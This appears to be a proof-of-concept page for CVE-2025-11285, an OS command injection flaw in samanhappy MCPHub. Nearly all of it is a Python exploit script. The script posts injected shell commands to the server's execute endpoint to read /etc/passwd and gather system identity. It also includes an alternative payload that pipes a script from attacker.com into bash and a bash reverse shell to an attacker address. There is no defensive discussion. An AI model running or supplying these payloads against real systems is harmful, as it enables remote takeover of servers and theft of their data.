CVE-2025-11285：samanhappy MCPHub OS命令注入漏洞

# CVE-2025-11285 PoC - MCPHub OS Command Injection # Vulnerability: OS command injection in src/controllers/serverController.ts # Affected: samanhappy MCPHub <= 0.9.10 import requests TARGET_URL = "http://target-mcphub-server:port" AUTH_TOKEN = "your_auth_token_here" # Vulnerable endpoint - serverController.ts command/args manipulation ENDPOINT = f"{TARGET_URL}/api/server/execute" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious payload injecting OS command via command/args parameters # Using shell metacharacters to break out of intended command context payload = { "command": "ls", "args": ["; id; whoami; cat /etc/passwd; uname -a"] } # Alternative payload using command substitution payload_alt = { "command": "echo $(id)", "args": ["", "; curl http://attacker.com/shell.sh | bash"] } # Exploit response = requests.post(ENDPOINT, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Reverse shell payload example reverse_shell_payload = { "command": "bash", "args": ["-c", "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"] }